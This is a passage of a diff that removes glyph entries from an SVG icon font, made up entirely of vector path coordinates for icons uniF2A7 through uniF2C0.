-q0 -1 -16.5 -12.5t-39.5 -31t-46 -44.5t-39 -61t-16 -74q0 -33 16.5 -53t48.5 -20q45 0 85 31.5t66.5 78t48 105.5t32.5 107t16 90v9q0 2 -3.5 3.5t-8.5 1.5h-10t-10 -0.5t-6 -0.5q-227 0 -352 122.5t-125 348.5q0 108 34.5 221t96 210t156 167.5t204.5 89.5q52 9 106 9
-q374 0 374 -360q0 -98 -38 -273t-43 -211l3 -3q101 57 182.5 88t167.5 31q22 0 53 -13q19 -7 80 -102.5t61 -116.5z" />
-    <glyph glyph-name="uniF2A7" unicode="&#xf2a7;" horiz-adv-x="1664" 
-d="M831 863q32 0 59 -18l222 -148q61 -40 110 -97l146 -170q40 -46 29 -106l-72 -413q-6 -32 -29.5 -53.5t-55.5 -25.5l-527 -56l-352 -32h-9q-39 0 -67.5 28t-28.5 68q0 37 27 64t65 32l260 32h-448q-41 0 -69.5 30t-26.5 71q2 39 32 65t69 26l442 1l-521 64q-41 5 -66 37
-t-19 73q6 35 34.5 57.5t65.5 22.5h10l481 -60l-351 94q-38 10 -62 41.5t-18 68.5q6 36 33 58.5t62 22.5q6 0 20 -2l448 -96l217 -37q1 0 3 -0.5t3 -0.5q23 0 30.5 23t-12.5 36l-186 125q-35 23 -42 63.5t18 73.5q27 38 76 38zM761 661l186 -125l-218 37l-5 2l-36 38
-l-238 262q-1 1 -2.5 3.5t-2.5 3.5q-24 31 -18.5 70t37.5 64q31 23 68 17.5t64 -33.5l142 -147q-2 -1 -5 -3.5t-4 -4.5q-32 -45 -23 -99t55 -85zM1648 1115l15 -266q4 -73 -11 -147l-48 -219q-12 -59 -67 -87l-106 -54q2 62 -39 109l-146 170q-53 61 -117 103l-222 148
-q-34 23 -76 23q-51 0 -88 -37l-235 312q-25 33 -18 73.5t41 63.5q33 22 71.5 14t62.5 -40l266 -352l-262 455q-21 35 -10.5 75t47.5 59q35 18 72.5 6t57.5 -46l241 -420l-136 337q-15 35 -4.5 74t44.5 56q37 19 76 6t56 -51l193 -415l101 -196q8 -15 23 -17.5t27 7.5t11 26
-l-12 224q-2 41 26 71t69 31q39 0 67 -28.5t30 -67.5z" />
-    <glyph glyph-name="uniF2A8" unicode="&#xf2a8;" horiz-adv-x="1792" 
-d="M335 180q-2 0 -6 2q-86 57 -168.5 145t-139.5 180q-21 30 -21 69q0 9 2 19t4 18t7 18t8.5 16t10.5 17t10 15t12 15.5t11 14.5q184 251 452 365q-110 198 -110 211q0 19 17 29q116 64 128 64q18 0 28 -16l124 -229q92 19 192 19q266 0 497.5 -137.5t378.5 -369.5
-q20 -31 20 -69t-20 -69q-91 -142 -218.5 -253.5t-278.5 -175.5q110 -198 110 -211q0 -20 -17 -29q-116 -64 -127 -64q-19 0 -29 16l-124 229l-64 119l-444 820l7 7q-58 -24 -99 -47q3 -5 127 -234t243 -449t119 -223q0 -7 -9 -9q-13 -3 -72 -3q-57 0 -60 7l-456 841
-q-39 -28 -82 -68q24 -43 214 -393.5t190 -354.5q0 -10 -11 -10q-14 0 -82.5 22t-72.5 28l-106 197l-224 413q-44 -53 -78 -106q2 -3 18 -25t23 -34l176 -327q0 -10 -10 -10zM1165 282l49 -91q273 111 450 385q-180 277 -459 389q67 -64 103 -148.5t36 -176.5
-q0 -106 -47 -200.5t-132 -157.5zM848 896q0 -20 14 -34t34 -14q86 0 147 -61t61 -147q0 -20 14 -34t34 -14t34 14t14 34q0 126 -89 215t-215 89q-20 0 -34 -14t-14 -34zM1214 961l-9 4l7 -7z" />
-    <glyph glyph-name="uniF2A9" unicode="&#xf2a9;" horiz-adv-x="1280" 
-d="M1050 430q0 -215 -147 -374q-148 -161 -378 -161q-232 0 -378 161q-147 159 -147 374q0 147 68 270.5t189 196.5t268 73q96 0 182 -31q-32 -62 -39 -126q-66 28 -143 28q-167 0 -280.5 -123t-113.5 -291q0 -170 112.5 -288.5t281.5 -118.5t281 118.5t112 288.5
-q0 89 -32 166q66 13 123 49q41 -98 41 -212zM846 619q0 -192 -79.5 -345t-238.5 -253l-14 -1q-29 0 -62 5q83 32 146.5 102.5t99.5 154.5t58.5 189t30 192.5t7.5 178.5q0 69 -3 103q55 -160 55 -326zM791 947v-2q-73 214 -206 440q88 -59 142.5 -186.5t63.5 -251.5z
-M1035 744q-83 0 -160 75q218 120 290 247q19 37 21 56q-42 -94 -139.5 -166.5t-204.5 -97.5q-35 54 -35 113q0 37 17 79t43 68q46 44 157 74q59 16 106 58.5t74 100.5q74 -105 74 -253q0 -109 -24 -170q-32 -77 -88.5 -130.5t-130.5 -53.5z" />
-    <glyph glyph-name="uniF2AA" unicode="&#xf2aa;" 
-d="M1050 495q0 78 -28 147q-41 -25 -85 -34q22 -50 22 -114q0 -117 -77 -198.5t-193 -81.5t-193.5 81.5t-77.5 198.5q0 115 78 199.5t193 84.5q53 0 98 -19q4 43 27 87q-60 21 -125 21q-154 0 -257.5 -108.5t-103.5 -263.5t103.5 -261t257.5 -106t257.5 106.5t103.5 260.5z
-M872 850q2 -24 2 -71q0 -63 -5 -123t-20.5 -132.5t-40.5 -130t-68.5 -106t-100.5 -70.5q21 -3 42 -3h10q219 139 219 411q0 116 -38 225zM872 850q-4 80 -44 171.5t-98 130.5q92 -156 142 -302zM1207 955q0 102 -51 174q-41 -86 -124 -109q-69 -19 -109 -53.5t-40 -99.5
-q0 -40 24 -77q74 17 140.5 67t95.5 115q-4 -52 -74.5 -111.5t-138.5 -97.5q52 -52 110 -52q51 0 90 37t60 90q17 42 17 117zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
-t84.5 -203.5z" />
-    <glyph glyph-name="uniF2AB" unicode="&#xf2ab;" 
-d="M1279 388q0 22 -22 27q-67 15 -118 59t-80 108q-7 19 -7 25q0 15 19.5 26t43 17t43 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-12 0 -32 -8t-31 -8q-4 0 -12 2q5 95 5 114q0 79 -17 114q-36 78 -103 121.5t-152 43.5q-199 0 -275 -165q-17 -35 -17 -114q0 -19 5 -114
-q-4 -2 -14 -2q-12 0 -32 7.5t-30 7.5q-21 0 -38.5 -12t-17.5 -32q0 -21 19.5 -35.5t43 -20.5t43 -17t19.5 -26q0 -6 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -46 137 -68q2 -5 6 -26t11.5 -30.5t23.5 -9.5q12 0 37.5 4.5t39.5 4.5q35 0 67 -15t54 -32.5t57.5 -32.5
-t76.5 -15q43 0 79 15t57.5 32.5t53.5 32.5t67 15q14 0 39.5 -4t38.5 -4q16 0 23 10t11 30t6 25q137 22 137 68zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
-t103 -385.5z" />
-    <glyph glyph-name="uniF2AC" unicode="&#xf2ac;" horiz-adv-x="1664" 
-d="M848 1408q134 1 240.5 -68.5t163.5 -192.5q27 -58 27 -179q0 -47 -9 -191q14 -7 28 -7q18 0 51 13.5t51 13.5q29 0 56 -18t27 -46q0 -32 -31.5 -54t-69 -31.5t-69 -29t-31.5 -47.5q0 -15 12 -43q37 -82 102.5 -150t144.5 -101q28 -12 80 -23q28 -6 28 -35
-q0 -70 -219 -103q-7 -11 -11 -39t-14 -46.5t-33 -18.5q-20 0 -62 6.5t-64 6.5q-37 0 -62 -5q-32 -5 -63 -22.5t-58 -38t-58 -40.5t-76 -33.5t-99 -13.5q-52 0 -96.5 13.5t-75 33.5t-57.5 40.5t-58 38t-62 22.5q-26 5 -63 5q-24 0 -65.5 -7.5t-58.5 -7.5q-25 0 -35 18.5
-t-14 47.5t-11 40q-219 33 -219 103q0 29 28 35q52 11 80 23q78 32 144.5 101t102.5 150q12 28 12 43q0 28 -31.5 47.5t-69.5 29.5t-69.5 31.5t-31.5 52.5q0 27 26 45.5t55 18.5q15 0 48 -13t53 -13q18 0 32 7q-9 142 -9 190q0 122 27 180q64 137 172 198t264 63z" />
-    <glyph glyph-name="uniF2AD" unicode="&#xf2ad;" 
-d="M1280 388q0 22 -22 27q-67 14 -118 58t-80 109q-7 14 -7 25q0 15 19.5 26t42.5 17t42.5 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-11 0 -31 -8t-32 -8q-4 0 -12 2q5 63 5 115q0 78 -17 114q-36 78 -102.5 121.5t-152.5 43.5q-198 0 -275 -165q-18 -38 -18 -115
-q0 -38 6 -114q-10 -2 -15 -2q-11 0 -31.5 8t-30.5 8q-20 0 -37.5 -12.5t-17.5 -32.5q0 -21 19.5 -35.5t42.5 -20.5t42.5 -17t19.5 -26q0 -11 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -47 138 -69q2 -5 6 -26t11 -30.5t23 -9.5q13 0 38.5 5t38.5 5q35 0 67.5 -15
-t54.5 -32.5t57.5 -32.5t76.5 -15q43 0 79 15t57.5 32.5t54 32.5t67.5 15q13 0 39 -4.5t39 -4.5q15 0 22.5 9.5t11.5 31t5 24.5q138 22 138 69zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960
-q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="uniF2AE" unicode="&#xf2ae;" horiz-adv-x="2304" 
-d="M2304 1536q-69 -46 -125 -92t-89 -81t-59.5 -71.5t-37.5 -57.5t-22 -44.5t-14 -29.5q-10 -18 -35.5 -136.5t-48.5 -164.5q-15 -29 -50 -60.5t-67.5 -50.5t-72.5 -41t-48 -28q-47 -31 -151 -231q-341 14 -630 -158q-92 -53 -303 -179q47 16 86 31t55 22l15 7
-q71 27 163 64.5t133.5 53.5t108 34.5t142.5 31.5q186 31 465 -7q1 0 10 -3q11 -6 14 -17t-3 -22l-194 -345q-15 -29 -47 -22q-128 24 -354 24q-146 0 -402 -44.5t-392 -46.5q-82 -1 -149 13t-107 37t-61 40t-33 34l-1 1v2q0 6 6 6q138 0 371 55q192 366 374.5 524t383.5 158
-q5 0 14.5 -0.5t38 -5t55 -12t61.5 -24.5t63 -39.5t54 -59t40 -82.5l102 177q2 4 21 42.5t44.5 86.5t61 109.5t84 133.5t100.5 137q66 82 128 141.5t121.5 96.5t92.5 53.5t88 39.5z" />
-    <glyph glyph-name="uniF2B0" unicode="&#xf2b0;" 
-d="M1322 640q0 -45 -5 -76l-236 14l224 -78q-19 -73 -58 -141l-214 103l177 -158q-44 -61 -107 -108l-157 178l103 -215q-61 -37 -140 -59l-79 228l14 -240q-38 -6 -76 -6t-76 6l14 238l-78 -226q-74 19 -140 59l103 215l-157 -178q-59 43 -108 108l178 158l-214 -104
-q-39 69 -58 141l224 79l-237 -14q-5 42 -5 76q0 35 5 77l238 -14l-225 79q19 73 58 140l214 -104l-177 159q46 61 107 108l158 -178l-103 215q67 39 140 58l77 -224l-13 236q36 6 75 6q38 0 76 -6l-14 -237l78 225q74 -19 140 -59l-103 -214l158 178q61 -47 107 -108
-l-177 -159l213 104q37 -62 58 -141l-224 -78l237 14q5 -31 5 -77zM1352 640q0 160 -78.5 295.5t-213 214t-292.5 78.5q-119 0 -227 -46.5t-186.5 -125t-124.5 -187.5t-46 -229q0 -119 46 -228t124.5 -187.5t186.5 -125t227 -46.5q158 0 292.5 78.5t213 214t78.5 294.5z
-M1425 1023v-766l-657 -383l-657 383v766l657 383zM768 -183l708 412v823l-708 411l-708 -411v-823zM1536 1088v-896l-768 -448l-768 448v896l768 448z" />
-    <glyph glyph-name="uniF2B1" unicode="&#xf2b1;" horiz-adv-x="1664" 
-d="M339 1318h691l-26 -72h-665q-110 0 -188.5 -79t-78.5 -189v-771q0 -95 60.5 -169.5t153.5 -93.5q23 -5 98 -5v-72h-45q-140 0 -239.5 100t-99.5 240v771q0 140 99.5 240t239.5 100zM1190 1536h247l-482 -1294q-23 -61 -40.5 -103.5t-45 -98t-54 -93.5t-64.5 -78.5
-t-79.5 -65t-95.5 -41t-116 -18.5v195q163 26 220 182q20 52 20 105q0 54 -20 106l-285 733h228l187 -585zM1664 978v-1111h-795q37 55 45 73h678v1038q0 85 -49.5 155t-129.5 99l25 67q101 -34 163.5 -123.5t62.5 -197.5z" />
-    <glyph glyph-name="uniF2B2" unicode="&#xf2b2;" horiz-adv-x="1792" 
-d="M852 1227q0 -29 -17 -52.5t-45 -23.5t-45 23.5t-17 52.5t17 52.5t45 23.5t45 -23.5t17 -52.5zM688 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50 -21.5t-20 -51.5v-114q0 -30 20.5 -52t49.5 -22q30 0 50.5 22t20.5 52zM860 -149v114q0 30 -20 51.5t-50 21.5t-50.5 -21.5
-t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22q29 0 49.5 22t20.5 52zM1034 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1208 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114
-q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1476 535q-84 -160 -232 -259.5t-323 -99.5q-123 0 -229.5 51.5t-178.5 137t-113 197.5t-41 232q0 88 21 174q-104 -175 -104 -390q0 -162 65 -312t185 -251q30 57 91 57q56 0 86 -50q32 50 87 50q56 0 86 -50q32 50 87 50t87 -50
-q30 50 86 50q28 0 52.5 -15.5t37.5 -40.5q112 94 177 231.5t73 287.5zM1326 564q0 75 -72 75q-17 0 -47 -6q-95 -19 -149 -19q-226 0 -226 243q0 86 30 204q-83 -127 -83 -275q0 -150 89 -260.5t235 -110.5q111 0 210 70q13 48 13 79zM884 1223q0 50 -32 89.5t-81 39.5
-t-81 -39.5t-32 -89.5q0 -51 31.5 -90.5t81.5 -39.5t81.5 39.5t31.5 90.5zM1513 884q0 96 -37.5 179t-113 137t-173.5 54q-77 0 -149 -35t-127 -94q-48 -159 -48 -268q0 -104 45.5 -157t147.5 -53q53 0 142 19q36 6 53 6q51 0 77.5 -28t26.5 -80q0 -26 -4 -46
-q75 68 117.5 165.5t42.5 200.5zM1792 667q0 -111 -33.5 -249.5t-93.5 -204.5q-58 -64 -195 -142.5t-228 -104.5l-4 -1v-114q0 -43 -29.5 -75t-72.5 -32q-56 0 -86 50q-32 -50 -87 -50t-87 50q-30 -50 -86 -50q-55 0 -87 50q-30 -50 -86 -50q-47 0 -75 33.5t-28 81.5
-q-90 -68 -198 -68q-118 0 -211 80q54 1 106 20q-113 31 -182 127q32 -7 71 -7q89 0 164 46q-192 192 -240 306q-24 56 -24 160q0 57 9 125.5t31.5 146.5t55 141t86.5 105t120 42q59 0 81 -52q19 29 42 54q2 3 12 13t13 16q10 15 23 38t25 42t28 39q87 111 211.5 177
-t260.5 66q35 0 62 -4q59 64 146 64q83 0 140 -57q5 -5 5 -12q0 -5 -6 -13.5t-12.5 -16t-16 -17l-10.5 -10.5q17 -6 36 -18t19 -24q0 -6 -16 -25q157 -138 197 -378q25 30 60 30q45 0 100 -49q90 -80 90 -279z" />
-    <glyph glyph-name="uniF2B3" unicode="&#xf2b3;" 
-d="M917 631q0 33 -6 64h-362v-132h217q-12 -76 -74.5 -120.5t-142.5 -44.5q-99 0 -169 71.5t-70 170.5t70 170.5t169 71.5q93 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585h109v110
-h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="uniF2B4" unicode="&#xf2b4;" 
-d="M1536 1024v-839q0 -48 -49 -62q-174 -52 -338 -52q-73 0 -215.5 29.5t-227.5 29.5q-164 0 -370 -48v-338h-160v1368q-63 25 -101 81t-38 124q0 91 64 155t155 64t155 -64t64 -155q0 -68 -38 -124t-101 -81v-68q190 44 343 44q99 0 198 -15q14 -2 111.5 -22.5t149.5 -20.5
-q77 0 165 18q11 2 80 21t89 19q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="uniF2B5" unicode="&#xf2b5;" horiz-adv-x="2304" 
-d="M192 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32zM1665 442q-10 13 -38.5 50t-41.5 54t-38 49t-42.5 53t-40.5 47t-45 49l-125 -140q-83 -94 -208.5 -92t-205.5 98q-57 69 -56.5 158t58.5 157l177 206q-22 11 -51 16.5t-47.5 6t-56.5 -0.5t-49 -1q-92 0 -158 -66
-l-158 -158h-155v-544q5 0 21 0.5t22 0t19.5 -2t20.5 -4.5t17.5 -8.5t18.5 -13.5l297 -292q115 -111 227 -111q78 0 125 47q57 -20 112.5 8t72.5 85q74 -6 127 44q20 18 36 45.5t14 50.5q10 -10 43 -10q43 0 77 21t49.5 53t12 71.5t-30.5 73.5zM1824 384h96v512h-93l-157 180
-q-66 76 -169 76h-167q-89 0 -146 -67l-209 -243q-28 -33 -28 -75t27 -75q43 -51 110 -52t111 49l193 218q25 23 53.5 21.5t47 -27t8.5 -56.5q16 -19 56 -63t60 -68q29 -36 82.5 -105.5t64.5 -84.5q52 -66 60 -140zM2112 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32z
-M2304 960v-640q0 -26 -19 -45t-45 -19h-434q-27 -65 -82 -106.5t-125 -51.5q-33 -48 -80.5 -81.5t-102.5 -45.5q-42 -53 -104.5 -81.5t-128.5 -24.5q-60 -34 -126 -39.5t-127.5 14t-117 53.5t-103.5 81l-287 282h-358q-26 0 -45 19t-19 45v672q0 26 19 45t45 19h421
-q14 14 47 48t47.5 48t44 40t50.5 37.5t51 25.5t62 19.5t68 5.5h117q99 0 181 -56q82 56 181 56h167q35 0 67 -6t56.5 -14.5t51.5 -26.5t44.5 -31t43 -39.5t39 -42t41 -48t41.5 -48.5h355q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="uniF2B6" unicode="&#xf2b6;" horiz-adv-x="1792" 
-d="M1792 882v-978q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v978q0 15 11 24q8 7 39 34.5t41.5 36t45.5 37.5t70 55.5t96 73t143.5 107t192.5 140.5q5 4 52.5 40t71.5 52.5t64 35t69 18.5t69 -18.5t65 -35.5t71 -52t52 -40q110 -80 192.5 -140.5t143.5 -107
-t96 -73t70 -55.5t45.5 -37.5t41.5 -36t39 -34.5q11 -9 11 -24zM1228 297q263 191 345 252q11 8 12.5 20.5t-6.5 23.5l-38 52q-8 11 -21 12.5t-24 -6.5q-231 -169 -343 -250q-5 -3 -52 -39t-71.5 -52.5t-64.5 -35t-69 -18.5t-69 18.5t-64.5 35t-71.5 52.5t-52 39
-q-186 134 -343 250q-11 8 -24 6.5t-21 -12.5l-38 -52q-8 -11 -6.5 -23.5t12.5 -20.5q82 -61 345 -252q10 -8 50 -38t65 -47t64 -39.5t77.5 -33.5t75.5 -11t75.5 11t79 34.5t64.5 39.5t65 47.5t48 36.5z" />
-    <glyph glyph-name="uniF2B7" unicode="&#xf2b7;" horiz-adv-x="1792" 
-d="M1474 623l39 -51q8 -11 6.5 -23.5t-11.5 -20.5q-43 -34 -126.5 -98.5t-146.5 -113t-67 -51.5q-39 -32 -60 -48t-60.5 -41t-76.5 -36.5t-74 -11.5h-1h-1q-37 0 -74 11.5t-76 36.5t-61 41.5t-60 47.5q-5 4 -65 50.5t-143.5 111t-122.5 94.5q-11 8 -12.5 20.5t6.5 23.5
-l37 52q8 11 21.5 13t24.5 -7q94 -73 306 -236q5 -4 43.5 -35t60.5 -46.5t56.5 -32.5t58.5 -17h1h1q24 0 58.5 17t56.5 32.5t60.5 46.5t43.5 35q258 198 313 242q11 8 24 6.5t21 -12.5zM1664 -96v928q-90 83 -159 139q-91 74 -389 304q-3 2 -43 35t-61 48t-56 32.5t-59 17.5
-h-1h-1q-24 0 -59 -17.5t-56 -32.5t-61 -48t-43 -35q-215 -166 -315.5 -245.5t-129.5 -104t-82 -74.5q-14 -12 -21 -19v-928q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 832v-928q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v928q0 56 41 94
-q123 114 350 290.5t233 181.5q36 30 59 47.5t61.5 42t76 36.5t74.5 12h1h1q37 0 74.5 -12t76 -36.5t61.5 -42t59 -47.5q43 -36 156 -122t226 -177t201 -173q41 -38 41 -94z" />
-    <glyph glyph-name="uniF2B8" unicode="&#xf2b8;" 
-d="M330 1l202 -214l-34 236l-216 213zM556 -225l274 218l-11 245l-300 -215zM245 413l227 -213l-48 327l-245 204zM495 189l317 214l-14 324l-352 -200zM843 178l95 -80l-2 239l-103 79q0 -1 1 -8.5t0 -12t-5 -7.5l-78 -52l85 -70q7 -6 7 -88zM138 930l256 -200l-68 465
-l-279 173zM1173 267l15 234l-230 -164l2 -240zM417 722l373 194l-19 441l-423 -163zM1270 357l20 233l-226 142l-2 -105l144 -95q6 -4 4 -9l-7 -119zM1461 496l30 222l-179 -128l-20 -228zM1273 329l-71 49l-8 -117q0 -5 -4 -8l-234 -187q-7 -5 -14 0l-98 83l7 -161
-q0 -5 -4 -8l-293 -234q-4 -2 -6 -2q-8 2 -8 3l-228 242q-4 4 -59 277q-2 7 5 11l61 37q-94 86 -95 92l-72 351q-2 7 6 12l94 45q-133 100 -135 108l-96 466q-2 10 7 13l433 135q5 0 8 -1l317 -153q6 -4 6 -9l20 -463q0 -7 -6 -10l-118 -61l126 -85q5 -2 5 -8l5 -123l121 74
-q5 4 11 0l84 -56l3 110q0 6 5 9l206 126q6 3 11 0l245 -135q4 -4 5 -7t-6.5 -60t-17.5 -124.5t-10 -70.5q0 -5 -4 -7l-191 -153q-6 -5 -13 0z" />
-    <glyph glyph-name="uniF2B9" unicode="&#xf2b9;" horiz-adv-x="1664" 
-d="M1201 298q0 57 -5.5 107t-21 100.5t-39.5 86t-64 58t-91 22.5q-6 -4 -33.5 -20.5t-42.5 -24.5t-40.5 -20t-49 -17t-46.5 -5t-46.5 5t-49 17t-40.5 20t-42.5 24.5t-33.5 20.5q-51 0 -91 -22.5t-64 -58t-39.5 -86t-21 -100.5t-5.5 -107q0 -73 42 -121.5t103 -48.5h576
-q61 0 103 48.5t42 121.5zM1028 892q0 108 -76.5 184t-183.5 76t-183.5 -76t-76.5 -184q0 -107 76.5 -183t183.5 -76t183.5 76t76.5 183zM1664 352v-192q0 -14 -9 -23t-23 -9h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216
-q66 0 113 -47t47 -113v-224h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="uniF2BA" unicode="&#xf2ba;" horiz-adv-x="1664" 
-d="M1028 892q0 -107 -76.5 -183t-183.5 -76t-183.5 76t-76.5 183q0 108 76.5 184t183.5 76t183.5 -76t76.5 -184zM980 672q46 0 82.5 -17t60 -47.5t39.5 -67t24 -81t11.5 -82.5t3.5 -79q0 -67 -39.5 -118.5t-105.5 -51.5h-576q-66 0 -105.5 51.5t-39.5 118.5q0 48 4.5 93.5
-t18.5 98.5t36.5 91.5t63 64.5t93.5 26h5q7 -4 32 -19.5t35.5 -21t33 -17t37 -16t35 -9t39.5 -4.5t39.5 4.5t35 9t37 16t33 17t35.5 21t32 19.5zM1664 928q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96
-q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216q66 0 113 -47t47 -113v-224h96q13 0 22.5 -9.5t9.5 -22.5v-192zM1408 -96v1472q0 13 -9.5 22.5t-22.5 9.5h-1216
-q-13 0 -22.5 -9.5t-9.5 -22.5v-1472q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5z" />
-    <glyph glyph-name="uniF2BB" unicode="&#xf2bb;" horiz-adv-x="2048" 
-d="M1024 405q0 64 -9 117.5t-29.5 103t-60.5 78t-97 28.5q-6 -4 -30 -18t-37.5 -21.5t-35.5 -17.5t-43 -14.5t-42 -4.5t-42 4.5t-43 14.5t-35.5 17.5t-37.5 21.5t-30 18q-57 0 -97 -28.5t-60.5 -78t-29.5 -103t-9 -117.5t37 -106.5t91 -42.5h512q54 0 91 42.5t37 106.5z
-M867 925q0 94 -66.5 160.5t-160.5 66.5t-160.5 -66.5t-66.5 -160.5t66.5 -160.5t160.5 -66.5t160.5 66.5t66.5 160.5zM1792 416v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1792 676v56q0 15 -10.5 25.5t-25.5 10.5h-568
-q-15 0 -25.5 -10.5t-10.5 -25.5v-56q0 -15 10.5 -25.5t25.5 -10.5h568q15 0 25.5 10.5t10.5 25.5zM1792 928v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-352v96q0 14 -9 23t-23 9
-h-64q-14 0 -23 -9t-9 -23v-96h-768v96q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-96h-352q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2BC" unicode="&#xf2bc;" horiz-adv-x="2048" 
-d="M1024 405q0 -64 -37 -106.5t-91 -42.5h-512q-54 0 -91 42.5t-37 106.5t9 117.5t29.5 103t60.5 78t97 28.5q6 -4 30 -18t37.5 -21.5t35.5 -17.5t43 -14.5t42 -4.5t42 4.5t43 14.5t35.5 17.5t37.5 21.5t30 18q57 0 97 -28.5t60.5 -78t29.5 -103t9 -117.5zM867 925
-q0 -94 -66.5 -160.5t-160.5 -66.5t-160.5 66.5t-66.5 160.5t66.5 160.5t160.5 66.5t160.5 -66.5t66.5 -160.5zM1792 480v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1792 732v-56q0 -15 -10.5 -25.5t-25.5 -10.5h-568
-q-15 0 -25.5 10.5t-10.5 25.5v56q0 15 10.5 25.5t25.5 10.5h568q15 0 25.5 -10.5t10.5 -25.5zM1792 992v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1920 32v1216q0 13 -9.5 22.5t-22.5 9.5h-1728q-13 0 -22.5 -9.5
-t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h352v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h768v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h352q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113
-t113 47h1728q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2BD" unicode="&#xf2bd;" horiz-adv-x="1792" 
-d="M1523 197q-22 155 -87.5 257.5t-184.5 118.5q-67 -74 -159.5 -115.5t-195.5 -41.5t-195.5 41.5t-159.5 115.5q-119 -16 -184.5 -118.5t-87.5 -257.5q106 -150 271 -237.5t356 -87.5t356 87.5t271 237.5zM1280 896q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5
-t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1792 640q0 -182 -71 -347.5t-190.5 -286t-285.5 -191.5t-349 -71q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="uniF2BE" unicode="&#xf2be;" horiz-adv-x="1792" 
-d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348q0 -181 -70.5 -347t-190.5 -286t-286 -191.5t-349 -71.5t-349 71t-285.5 191.5t-190.5 286t-71 347.5t71 348t191 286t286 191t348 71zM1515 185q149 205 149 455q0 156 -61 298t-164 245t-245 164t-298 61t-298 -61
-t-245 -164t-164 -245t-61 -298q0 -250 149 -455q66 327 306 327q131 -128 313 -128t313 128q240 0 306 -327zM1280 832q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5z" />
-    <glyph glyph-name="uniF2C0" unicode="&#xf2c0;" 
-d="M1201 752q47 -14 89.5 -38t89 -73t79.5 -115.5t55 -172t22 -236.5q0 -154 -100 -263.5t-241 -109.5h-854q-141 0 -241 109.5t-100 263.5q0 131 22 236.5t55 172t79.5 115.5t89 73t89.5 38q-79 125 -79 272q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5
